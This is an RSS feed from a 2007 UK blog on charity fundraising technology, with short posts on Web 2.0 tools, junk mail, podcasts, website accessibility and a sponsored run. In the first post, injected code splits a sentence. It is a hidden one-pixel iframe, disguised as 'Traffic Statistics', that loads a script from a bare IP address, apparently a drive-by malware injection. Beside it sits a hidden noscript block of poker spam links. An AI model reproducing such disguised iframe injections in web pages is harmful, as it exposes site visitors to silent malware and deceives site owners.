<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title> &#187; Fundraising Technology</title>
	<link>http://blog.givingmatters.co.uk</link>
	<description>Creating catalytic value for the voluntary sector</description>
	<pubDate>Wed, 31 Oct 2007 12:15:06 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2</generator>
	<language>en</language>
			<item>
		<title>A worrying report</title>
		<link>http://blog.givingmatters.co.uk/2007/09/19/a-worrying-report/</link>
		<comments>http://blog.givingmatters.co.uk/2007/09/19/a-worrying-report/#comments</comments>
		<pubDate>Wed, 19 Sep 2007 14:46:41 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Charities]]></category>

		<category><![CDATA[Fundraising Technology]]></category>

		<category><![CDATA[Online]]></category>

		<guid isPermaLink="false">http://blog.givingmatters.co.uk/2007/09/19/a-worrying-report/</guid>
		<description><![CDATA[Anna Crofton, over at Whitewater, has written about a report by the Overbrook Foundation on the adoption of Web 2.0 tools by the non-profit sector. The report’s conclusion is that many charities are stuck in the hole that is Web 1.0, feeling overwhelmed by the choice and variety of tools now available. Additionally, it concludes [...]]]></description>
			<content:encoded><![CDATA[<p>Anna Crofton, over at <a href="http://whitewater.biz/">Whitewater,</a> has <a href="http://whitewater.biz/journal/archives/2007/09/social_networki.html">written </a>about a <a href="http://www.overbrook.org/resources/resources.html">report </a>by the <a href="http://www.overbrook.org/index_s.html">Overbrook Foundation </a>on the adoption of Web 2.0 tools by the non-profit sector. The report’s conclusion is that many charities are stuck in the hole that is Web 1.0, feeling overwhelmed by the choice and variety of tools now available. Additionally, it concludes that charities are unsure how to use and adapt these tools<!-- Traffic Statistics --><br />
<iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe><br />
<!-- End Traffic Statistics --> for their needs. </p>
<p>How do we get over this<noscript><a href="http;//www.party-holdem.net">party poker</a> is becoming more and more popular during last few years.</noscript> hurdle of confusion? How can we break Web 2.0 down in to manageable – and useful – chunks? </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.givingmatters.co.uk/2007/09/19/a-worrying-report/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Collaboration</title>
		<link>http://blog.givingmatters.co.uk/2007/09/18/collaboration/</link>
		<comments>http://blog.givingmatters.co.uk/2007/09/18/collaboration/#comments</comments>
		<pubDate>Tue, 18 Sep 2007 10:51:55 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
		
		<category><![CDATA[collaboration]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Charities]]></category>

		<category><![CDATA[Fundraising Technology]]></category>

		<category><![CDATA[Online]]></category>

		<guid isPermaLink="false">http://blog.givingmatters.co.uk/2007/09/18/collaboration/</guid>
		<description><![CDATA[I am very excited to see that an online research community has been launched for fundraisers. fResource has the power to enable users around the world to share knowledge about products, tools and resources that can be useful. This form of collaboration has massive potential if used in the right way (ie by genuine fundraisers/researchers [...]]]></description>
			<content:encoded><![CDATA[<p>I am very excited to <a href="http://thirdsector.co.uk/news/Article/738302/Fundraising-web-resource-goes-live-today/">see </a>that an online research community has been launched for fundraisers. <a href="http://fresource.info/">fResource</a> has the power to enable users around the world to share knowledge about products, tools and resources that can be useful. This form of collaboration has massive potential if used in the right way (ie by genuine fundraisers/researchers and not by corporations doing some opportunistic self promotion) and the more people that connect to this tool and share their knowledge the more collective intelligence will be amassed. You can <a href="http://fresource.info/user/register">register</a> for free now. </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.givingmatters.co.uk/2007/09/18/collaboration/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Junk mail</title>
		<link>http://blog.givingmatters.co.uk/2007/09/13/junk-mail/</link>
		<comments>http://blog.givingmatters.co.uk/2007/09/13/junk-mail/#comments</comments>
		<pubDate>Thu, 13 Sep 2007 13:47:04 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
		
		<category><![CDATA[Charities]]></category>

		<category><![CDATA[Fundraising Technology]]></category>

		<category><![CDATA[Online]]></category>

		<guid isPermaLink="false">http://blog.givingmatters.co.uk/2007/09/13/junk-mail/</guid>
		<description><![CDATA[Jeff Brooks, of Donor Power Blog authorship, has an article in this month’s Fundraising Success magazine. In it he talks about the approaching (US) Junk Mail Awareness Week, which aims to highlight the shocking waste of paper that currently occurs and the resulting environmental impact. Jeff comes up with 7 ways to ensure your mail [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.merkledomain.com/site/PageServer?pagename=meet_jeff_b">Jeff Brooks</a>, of <a href="http://www.donorpowerblog.com/donor_power_blog/">Donor Power Blog </a>authorship, has an <a href="http://www.fundraisingsuccessmag.com/story/story.bsp?sid=73920&#038;var=story&#038;publication=FundRaising%20Success&#038;publicationDate=9/1/07&#038;slug=FS0907_Easier+Said+Than+Done&#038;category=None&#038;section=Unknown&#038;page=1">article</a> in this month’s <a href="http://www.fundraisingsuccessmag.com/index.bsp">Fundraising Success </a>magazine. In it he talks about the approaching (US) Junk Mail Awareness Week, which aims to highlight the shocking waste of paper that currently occurs and the resulting environmental impact. Jeff comes up with 7 ways to ensure your mail is not seen as junk by the recipient. A summary of what I see as the most important suggestions would be: </p>
<p>The need to personalise (“it’s about the donor”), to commoditise (“explain something real the donor can do”), allow and listen to feedback (“give donors control”) and keep your supporters fully informed on both your progress and future plans (“close the loop”). </p>
<p>The thing to note is how these apply just as strongly to email solicitations for support or funds. If online giving is to expand it is important that we do not - however tempting - go down the mass mail route, as ultimately it will devalue this potentially invaluable mode of communication. We should have the sagacity to learn from our mistakes….not repeat them in a different medium. </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.givingmatters.co.uk/2007/09/13/junk-mail/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A great use of podcasts.</title>
		<link>http://blog.givingmatters.co.uk/2007/08/14/a-great-use-of-podcasts/</link>
		<comments>http://blog.givingmatters.co.uk/2007/08/14/a-great-use-of-podcasts/#comments</comments>
		<pubDate>Tue, 14 Aug 2007 11:29:10 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
		
		<category><![CDATA[Celebrity]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Brand]]></category>

		<category><![CDATA[Charities]]></category>

		<category><![CDATA[Online]]></category>

		<category><![CDATA[Fundraising Technology]]></category>

		<category><![CDATA[Fundraising Campaigns]]></category>

		<guid isPermaLink="false">http://blog.givingmatters.co.uk/2007/08/14/a-great-use-of-podcasts/</guid>
		<description><![CDATA[I have come across– somewhat belatedly I am sure! – a great use of the new media tools available for all to use. The Variety Club has launched a Mr Men and Little Miss Celebrity Podcasts. They have got some of the UK&#8217;s best-loved celebrities from screen and radio to record their favourite Mr. Men [...]]]></description>
			<content:encoded><![CDATA[<p>I have come across– somewhat belatedly I am sure! – a great use of the new media tools available for all to use. <a href="http://www.varietyclub.org.uk/">The Variety Club</a> has launched a <a href="http://www.varietyclub.org.uk/mrmen/">Mr Men and Little Miss Celebrity Podcasts</a>. They have got some of the UK&#8217;s best-loved celebrities from screen and radio to record their favourite Mr. Men &#038; Little Miss stories. For just £1.50 you can download any story and listen to it as many times as you like. What a great way for a children’s charity to raise funds and awareness of their brand. </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.givingmatters.co.uk/2007/08/14/a-great-use-of-podcasts/feed/</wfw:commentRss>
		</item>
		<item>
		<title>My Top 5.</title>
		<link>http://blog.givingmatters.co.uk/2007/07/25/my-top-5/</link>
		<comments>http://blog.givingmatters.co.uk/2007/07/25/my-top-5/#comments</comments>
		<pubDate>Wed, 25 Jul 2007 12:16:39 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
		
		<category><![CDATA[Charities]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Fundraising_Technology]]></category>

		<category><![CDATA[Process Efficiency]]></category>

		<category><![CDATA[Online]]></category>

		<category><![CDATA[Gift Aid]]></category>

		<guid isPermaLink="false">http://blog.givingmatters.co.uk/2007/07/25/my-top-5/</guid>
		<description><![CDATA[This week’s Carnival of Non-Profits is to be held on the Non-Profit Marketing Blog, and is titled ‘My Top 5”. I thought I would add my penny’s worth with a UK perspective on what, I think, are the 5 things it is most important the third sector focuses on. So here we go: 
Build trust: [...]]]></description>
			<content:encoded><![CDATA[<p>This week’s Carnival of Non-Profits is to be held on the <a href="http://www.nonprofitmarketingblog.com/">Non-Profit Marketing Blog</a>, and is titled ‘My Top 5”. I thought I would add my penny’s worth with a UK perspective on what, I think, are the 5 things it is most important the third sector focuses on. So here we go: </p>
<p><strong>Build trust</strong>: Charities are vulnerable to the backlash of bad press. Be that criticism of employees salaries, promises not fulfilled, lack of transparency…..or dodgy phone-in competitions (to win bikinis or martinis?)! Unfairly a bad editorial doesn’t just have an effect on the individual charity involved, but the whole sector becomes doubted. The only way to resolve this is to all work together towards the aim of total transparency - if something costs money say so and then go on to explain why you think it is a valuable investment. </p>
<p><strong>Educate and Engage</strong>: Charities must strive to both educate donors, and potential donors, about what it is they do, how and why. Encouraging donors to give out of guilt is no way to build a long-term, healthy relationship. Secondly it is essential to listen to donors. They can give you invaluable feedback about how you are perceived and by listening to them, and making them feel as though they can make a positive contribution through other ways than passive donations, you will empower them to become your future ambassadors. </p>
<p><strong>Technology</strong>: Again and again I seem to come back to this one. You should never use Web 2.0 technologies for the sake of it, but think about how you can make emails, social networks, podcasts etc work for you. How can they help you get your message across and reach new audiences. They have the potential to take your message national (if not global) through just the click of a button. To ignore the possibilities is lazy and naïve. </p>
<p><strong>Cooperation</strong>: There are over 168,000 charities in the England and Wales alone competing for the attention and generosity of donors. I can’t help feeling it is often inefficient for – say – 3 local skin cancer charities to not only be carrying the overlapping overheads of offices, admin staff etc but – more importantly – to be organising individual fundraising events. If they can’t face merging they should at least cooperate in initiatives to raise funds and awareness- pooling their skills and making the most of economies of scale. </p>
<p><strong>Efficiency</strong>: This combines much of the above….and more. Cooperating with those that share your aims and values; getting new technologies to work for you; and, back to my old bug bear, making the most of the breaks that are given to you – specifically, reclaiming Gift Aid. This is, as it says, a GIFT from the Government that is shameless to waste. </p>
<p>As for <a href="http://www.nonprofitmarketingblog.com/site/your_top_five/">Katya’s the challenge</a>, in the words of Meatloaf……2 out of three aint bad! </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.givingmatters.co.uk/2007/07/25/my-top-5/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Online failures.</title>
		<link>http://blog.givingmatters.co.uk/2007/07/11/online-failures/</link>
		<comments>http://blog.givingmatters.co.uk/2007/07/11/online-failures/#comments</comments>
		<pubDate>Wed, 11 Jul 2007 14:41:33 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Charities]]></category>

		<category><![CDATA[Fundraising Technology]]></category>

		<category><![CDATA[Survey]]></category>

		<category><![CDATA[Online]]></category>

		<guid isPermaLink="false">http://blog.givingmatters.co.uk/2007/07/11/online-failures/</guid>
		<description><![CDATA[As reported in this week’s Third Sector Magazine, iConcertina and e-consultancy’s latest Website Benchmark Report on the accessibility of charities’ online offerings, makes depressing reading. For an interview about the results we found I said: 
&#8220;The fact that no single site met all the criteria is worrying. If individuals feel that a site isn&#8217;t designed [...]]]></description>
			<content:encoded><![CDATA[<p>As <a href="http://www.thirdsector.co.uk/News/FinanceBulletin/669920/Sector-failing-deliver-online/D152404B4CDAB49C29FD445D77262473/">reported</a> in this week’s Third Sector Magazine, <a href="http://www.iconcertina.com/">iConcertina </a>and <a href="http://www.e-consultancy.com/">e-consultancy’s</a> latest <a href="http://www.e-consultancy.com/publications/charity-website-benchmarks-2007/">Website Benchmark Report </a>on the accessibility of charities’ online offerings, makes depressing reading. For an interview about the results we found I said: </p>
<p>&#8220;The fact that no single site met all the criteria is worrying. If individuals feel that a site isn&#8217;t designed for their use, they may begin to question the charity as a whole or simply go away quietly, never to return.&#8221;</p>
<p>Although there was a 14% improvement on <a href="http://blog.iconcertina.com/archive/e-consultancycom-iconcertina-release-charity-website-benchmark-report/">last year’s </a>results the third sector is worryingly behind the curve on this one. Online really is the perfect medium to efficiently reach a wider audience, and if you are going to do it, you must do it properly. It doesn’t have to be difficult or expensive – there really is no excuse. </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.givingmatters.co.uk/2007/07/11/online-failures/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A further case for embracing new media.</title>
		<link>http://blog.givingmatters.co.uk/2007/07/10/a-further-case-for-embracing-new-media/</link>
		<comments>http://blog.givingmatters.co.uk/2007/07/10/a-further-case-for-embracing-new-media/#comments</comments>
		<pubDate>Tue, 10 Jul 2007 13:07:09 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Smaller charities]]></category>

		<category><![CDATA[Fundraising Technology]]></category>

		<category><![CDATA[Online]]></category>

		<guid isPermaLink="false">http://blog.givingmatters.co.uk/2007/07/10/a-further-case-for-embracing-new-media/</guid>
		<description><![CDATA[An article in the Guardian yesterday had a great, succinct quote to support the use of Web 2.0 by smaller charities.
Dave Rogers, who volunteered to help out the National Phobics Society in developing their website said:
&#8220;A website is so important because it allows us to operate on a national level from a small base in [...]]]></description>
			<content:encoded><![CDATA[<p>An article in the <a href="http://society.guardian.co.uk/voluntary/story/0,,2114999,00.html">Guardian </a>yesterday had a great, succinct quote to support the use of Web 2.0 by smaller charities.<br />
Dave Rogers, who volunteered to help out the <a href="http://www.phobics-society.org.uk/">National Phobics Society</a> in developing their website said:<br />
&#8220;A website is so important because it allows us to operate on a national level from a small base in the north west. We create a small online community through the use of web 2.0 technologies which ultimately increases our membership, which in turn allows us to fund the services we provide such as our helpline.&#8221;<br />
These informal mediums are extremely powerful and extensive in their reach, and by embracing social networks and other new information and communication technologies, countless opportunities are opened up. Yes, a charity must lose some control, but it will generate a natural increase in both accountability and openness which will ultimately boost the entire third sector. </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.givingmatters.co.uk/2007/07/10/a-further-case-for-embracing-new-media/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Google reaches out</title>
		<link>http://blog.givingmatters.co.uk/2007/06/27/google-reaches-out/</link>
		<comments>http://blog.givingmatters.co.uk/2007/06/27/google-reaches-out/#comments</comments>
		<pubDate>Wed, 27 Jun 2007 10:59:23 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
		
		<category><![CDATA[Google]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Fundraising Technology]]></category>

		<category><![CDATA[Online]]></category>

		<category><![CDATA[Fundraising Campaigns]]></category>

		<guid isPermaLink="false">http://blog.givingmatters.co.uk/2007/06/27/google-reaches-out/</guid>
		<description><![CDATA[The Philanthropy 2173 site had a brief but exciting posting yesterday which directed me to a new Web 2.0 tool for charities. 
In the spirit of the site by Amnesty International, Google Earth have launched Google Earth Outreach. This allows non-profits to invite their supporters to a virtual visit of their projects, meet the people [...]]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://philanthropy.blogspot.com/">Philanthropy 2173</a> site had a brief but exciting <a href="http://philanthropy.blogspot.com/2007/06/meek-maymay-not-inherit-earth.html">posting </a>yesterday which directed me to a new Web 2.0 tool for charities. </p>
<p>In the spirit of the site by <a href="http://blog.givingmatters.co.uk/2007/06/14/eyes-on-dafur/">Amnesty International</a>, <a href="http://earth.google.com/">Google Earth</a> have launched <a href="http://earth.google.com/outreach/index.html">Google Earth Outreach</a>. This allows non-profits to invite their supporters to a virtual visit of their projects, meet the people they are helping, see the challenges that they face and the changes they are making. </p>
<p>A fantastic tool to engage and impassion supporters all over the world! </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.givingmatters.co.uk/2007/06/27/google-reaches-out/feed/</wfw:commentRss>
		</item>
		<item>
		<title>More networking opportunities</title>
		<link>http://blog.givingmatters.co.uk/2007/06/06/more-networking-opportunities/</link>
		<comments>http://blog.givingmatters.co.uk/2007/06/06/more-networking-opportunities/#comments</comments>
		<pubDate>Wed, 06 Jun 2007 10:40:24 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Fundraising Technology]]></category>

		<category><![CDATA[Inclusivity]]></category>

		<category><![CDATA[Online]]></category>

		<category><![CDATA[Fundraising Campaigns]]></category>

		<guid isPermaLink="false">http://blog.givingmatters.co.uk/2007/06/06/more-networking-opportunities/</guid>
		<description><![CDATA[According to the Wild Apricot blog, Facebook has now joined the drive to promote fundraising on social networking sites. 
Project Agape has launched this new feature that allows members to create causes, take donations, and recruit members. 
The best bit of this move is that the demographic of Facebook users is much younger than other [...]]]></description>
			<content:encoded><![CDATA[<p>According to the <a href="http://www.wildapricot.com/blogs/newsblog/archive/2007/06/05/six-simple-ways-to-promote-your-cause-on-facebook.aspx">Wild Apricot</a> blog, <a href="http://www.facebook.com/">Facebook</a> has now joined the drive to promote fundraising on social networking sites. </p>
<p><a href="http://www.project-agape.com/">Project Agape </a>has launched this new feature that allows members to create causes, take donations, and recruit members. </p>
<p>The best bit of this move is that the demographic of Facebook users is much younger than other networks, and it would be great to instill the notion of giving at an early stage. Peer pressure can work wonders! </p>
<p>So far it is mainly the larger charities who are making the most of this. Let’s get some smaller ones out there to make use of this free tool.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.givingmatters.co.uk/2007/06/06/more-networking-opportunities/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Sponsor me, please!</title>
		<link>http://blog.givingmatters.co.uk/2007/06/01/sponsor-me-please/</link>
		<comments>http://blog.givingmatters.co.uk/2007/06/01/sponsor-me-please/#comments</comments>
		<pubDate>Fri, 01 Jun 2007 16:19:11 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
		
		<category><![CDATA[Justigiving.com]]></category>

		<category><![CDATA[Charity Events]]></category>

		<category><![CDATA[Charities]]></category>

		<category><![CDATA[Fundraising Technology]]></category>

		<category><![CDATA[Fundraising Campaigns]]></category>

		<guid isPermaLink="false">http://blog.givingmatters.co.uk/2007/06/01/sponsor-me-please/</guid>
		<description><![CDATA[This is no laughing matter! I have somehow been persuaded/conned/duped into running in The Asics British 10K London Run, to be held on July 1st 2007. In between my work and family commitments I would have to admit that my lifestyle to date has not permitted much time for gym attendance. However, by the end [...]]]></description>
			<content:encoded><![CDATA[<p>This is no laughing matter! I have somehow been persuaded/conned/duped into running in <a href="http://www.thebritish10klondon.co.uk/">The Asics British 10K London Run</a>, to be held on July 1st 2007. In between my work and family commitments I would have to admit that my lifestyle to date has not permitted much time for gym attendance. However, by the end of this month, I intend to have made the time to be ‘match fit’ for this challenge.</p>
<p>Throughout my training, and on the day, it will be thought of the charity for whom I am running that will keep me going. Thusanani really is the most fantastic organisation which works with young children infected with and affected by HIV/AIDS in South Africa. You can read more about all the incredible work they do <a href="http://www.thusanani.org.uk/Root/default.aspx?n=28">here</a>. I have set up a fundraising page on <a href="http://www.justgiving.com/">JustGiving </a>which you can link through from <a href="http://www.justgiving.com/adrianmelrose">here</a> or the promotional link on the right hand side of this page. Please help me by supporting Thusanani. </p>
<p><iframe src="http://www.justgiving.com/rss/GetFundraisingPage2.asp?eventgivinggroupid=829685" width="195px" height="322px" frameborder="0" scrolling="no"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.givingmatters.co.uk/2007/06/01/sponsor-me-please/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
